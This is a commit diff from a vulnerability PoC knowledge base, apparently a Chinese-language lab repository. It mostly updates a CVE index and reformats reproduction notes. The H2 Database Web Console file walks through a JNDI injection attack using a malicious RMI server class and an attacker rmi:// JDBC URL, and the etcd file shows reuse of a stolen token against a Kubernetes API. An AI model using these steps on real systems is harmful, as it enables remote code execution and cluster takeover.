This commit is contained in:
Threekiii 2025-04-21 17:37:29 +08:00
parent 57ec6ea48b
commit de73fb6e15
6 changed files with 29 additions and 25 deletions

View File

@ -4,8 +4,7 @@
_Disclaimer: The technologies, concepts, and tools provided in this Git repository are intended for educational and research purposes only. Any use for illegal activities, unauthorized penetration testing, or commercial purposes is strictly prohibited. Please read the [Awesome-Lows](https://github.com/Threekiii/Awesome-Laws) before using this repository._
📖 一个漏洞 PoC 知识库。_A knowledge base for vulnerability PoCs(Proof of Concept), with 1k+ vulnerabilities._
📖 一个漏洞 PoC 知识库。_A knowledge base for vulnerability PoCs(Proof of Concept), with 1k+ vulnerabilities._
## 0x01 项目导航
@ -735,9 +734,10 @@ _Disclaimer: The technologies, concepts, and tools provided in this Git reposito
* Zabbix Server trapper命令注入漏洞 CVE-2020-11800
- 云安全漏洞
* Docker build 漏洞导致命令执行 CVE-2019-13139
* Docker daemon api 未授权访问漏洞 RCE
* K8s API Server未授权命令执行
* K8s etcd未授权访问
* Kubernetes API Server 未授权命令执行
* Kubernetes etcd 未授权访问
* Kubernetes Ingress-nginx admission 远程代码执行漏洞 CVE-2025-1974
* MinIO SSRF 漏洞 CVE-2021-21287
* Nacos secret.key 默认密钥 未授权访问漏洞
@ -752,6 +752,7 @@ _Disclaimer: The technologies, concepts, and tools provided in this Git reposito
- 人工智能漏洞
* Huggingface Transformers Checkpoint 反序列化漏洞 CVE-2024-3568
* Langflow code API 未授权远程代码执行漏洞 CVE-2025-3248
* Ollama 文件存在性泄露漏洞 CVE-2024-39719
* Ollama 文件存在性泄露漏洞 CVE-2024-39722
* Ollama 目录遍历致代码执行漏洞 CVE-2024-37032
@ -897,7 +898,10 @@ _Disclaimer: The technologies, concepts, and tools provided in this Git reposito
* ElasticSearch Groovy 沙盒绕过 & 代码执行漏洞 CVE-2015-1427
* Elasticsearch 未授权访问
* ElasticSearch 目录穿越漏洞 CVE-2015-3337
* H2 Database Console 未授权访问
* H2 Database Web Console 未授权 JDBC 攻击导致远程代码执行 CVE-2022-23221
* H2 Database Web Console 未授权 JNDI 注入 RCE 漏洞 CVE-2021-42392
* H2 Database Web Console 未授权访问
* H2 Database Web Console 认证远程代码执行漏洞 CVE-2018-10054
* Hadoop YARN ResourceManager 未授权访问
* InfluxDB JWT 认证绕过漏洞 CVE-2019-20933
* InfluxDB 未授权访问漏洞
@ -1114,10 +1118,11 @@ _Disclaimer: The technologies, concepts, and tools provided in this Git reposito
本项目收集漏洞均源于互联网:
- Peiqihttps://github.com/PeiQi0/PeiQi-WIKI-Book
- Vulhubhttps://github.com/vulhub/vulhub
- https://github.com/PeiQi0/PeiQi-WIKI-Book
- https://github.com/vulhub/vulhub
- https://github.com/Metarget/metarget
## 0x03 更新日志
- 2023.04.01 重构目录,合并 [Vulhub-Reproduce](https://github.com/Threekiii/Vulhub-Reproduce) 与本仓库
- 2022.12.05 图片本地化
- 2022.12.05 图片本地化

View File

@ -1,4 +1,4 @@
# K8s API Server 未授权命令执行
# Kubernetes API Server 未授权命令执行
## 漏洞描述

View File

@ -1,4 +1,4 @@
# K8s etcd未授权访问
# Kubernetes etcd 未授权访问
## 漏洞描述
@ -58,4 +58,4 @@ https://your-ip:2379/v2/keys
curl --header "Authorization: Token" -X GET https://your-ip:6443/api -k
```
然后,就可以使用 token 登录 dashboard 或者远程命令管理 K8s。
然后,就可以使用 token 登录 dashboard 或者远程命令管理 K8s。

View File

@ -1,15 +1,15 @@
# H2 Database Console 未授权访问
# H2 Database Web Console 未授权访问
## 漏洞描述
H2 database是一款Java内存数据库多用于单元测试。H2 database自带一个Web管理页面在Spirng开发中如果我们设置如下选项即可允许外部用户访问Web管理页面且没有鉴权
H2 database 是一款 Java 内存数据库多用于单元测试。H2 database 自带一个 Web 管理页面,在 Spirng 开发中,如果我们设置如下选项,即可允许外部用户访问 Web 管理页面,且没有鉴权:
```
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
```
利用这个管理页面我们可以进行JNDI注入攻击进而在目标环境下执行任意命令。
利用这个管理页面,我们可以进行 JNDI 注入攻击,进而在目标环境下执行任意命令。
参考链接:
@ -17,17 +17,17 @@ spring.h2.console.settings.web-allow-others=true
## 环境搭建
执行如下命令启动一个Springboot + h2database环境
执行如下命令启动一个 Springboot + h2database 环境:
```
docker-compose up -d
```
启动后,访问`http://your-ip:8080/h2-console/`即可查看到H2 database的管理页面。
启动后,访问 `http://your-ip:8080/h2-console/` 即可查看到 H2 database 的管理页面。
## 漏洞复现
目标环境是Java 8u252版本较高因为上下文是Tomcat环境我们可以参考《[Exploiting JNDI Injections in Java](https://www.veracode.com/blog/research/exploiting-jndi-injections-java)》,使用`org.apache.naming.factory.BeanFactory`加EL表达式注入的方式来执行任意命令。
目标环境是 Java 8u252版本较高因为上下文是 Tomcat 环境,我们可以参考《[Exploiting JNDI Injections in Java](https://www.veracode.com/blog/research/exploiting-jndi-injections-java)》,使用 `org.apache.naming.factory.BeanFactory` EL 表达式注入的方式来执行任意命令。
```java
import java.rmi.registry.*;
@ -53,33 +53,32 @@ public class EvilRMIServerNew {
}
```
我们可以借助这个小工具[JNDI](https://github.com/JosephTribbianni/JNDI)简化我们的复现过程。
我们可以借助这个小工具 [JNDI](https://github.com/JosephTribbianni/JNDI) 简化我们的复现过程。
首先设置JNDI工具中执行的命令为`touch /tmp/success`
首先设置 JNDI 工具中执行的命令为 `touch /tmp/success`
![image-20220223235645410](images/202202232356618.png)
然后启动`JNDI-1.0-all.jar`在h2 console页面填入JNDI类名和URL地址
然后启动 `JNDI-1.0-all.jar`,在 h2 console 页面填入 JNDI 类名和 URL 地址:
![image-20220224001157803](images/202202240011878.png)
Driver ClassJNDI的工厂类
Driver ClassJNDI 的工厂类):
```
javax.naming.InitialContext
```
JDBC URL运行JNDI工具监听的RMI地址
JDBC URL运行 JNDI 工具监听的 RMI 地址):
```
rmi://192.168.128.1:23456/BypassByEL
```
点击连接后恶意RMI成功接收到请求
点击连接后,恶意 RMI 成功接收到请求:
![image-20220224001238367](images/202202240012570.png)
`touch /tmp/success`已成功执行:
`touch /tmp/success` 已成功执行:
![image-20220224001248279](images/202202240012334.png)